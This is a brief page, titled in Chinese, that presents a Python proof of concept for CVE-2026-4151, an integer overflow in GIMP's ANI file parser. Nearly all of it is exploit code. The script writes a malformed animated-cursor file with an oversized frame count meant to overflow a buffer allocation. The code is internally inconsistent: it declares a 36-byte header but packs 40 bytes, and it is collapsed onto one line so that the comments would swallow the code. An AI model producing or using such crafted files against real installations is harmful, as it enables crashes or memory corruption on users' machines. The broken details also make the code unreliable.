CVE-2026-4151 GIMP ANI文件解析整数溢出漏洞

import struct # PoC for CVE-2026-4151 # This script generates a malformed ANI file designed to trigger an integer overflow # in GIMP's buffer allocation logic. def generate_malicious_ani(filename): # ANI header structure riff = b'RIFF' # File size (placeholder) size = struct.pack('<I', 0) ac = b'ACON' # LIST header for info list_info = b'LIST' list_info_size = struct.pack('<I', 4) inam = b'INAM' # anih chunk (Animation Header) anih_tag = b'anih' anih_size = struct.pack('<I', 36) # The critical part: setting cFrames to a large number to trigger overflow # during buffer size calculation (e.g., cFrames * sizeof(struct)) cbSizeOf = 36 cFrames = 0x41424344 # Malicious large value cSteps = 1 cxWidth = 32 cyHeight = 32 cBitCount = 24 cPlanes = 1 jiffRate = 1 flags = 1 anih_data = struct.pack('<IIIIIIIIII', cbSizeOf, cFrames, cSteps, cxWidth, cyHeight, cBitCount, cPlanes, jiffRate, flags, 0) # Construct file with open(filename, 'wb') as f: f.write(riff + size + ac) f.write(list_info + list_info_size + inam) f.write(anih_tag + anih_size + anih_data) generate_malicious_ani('exploit_ani.ani')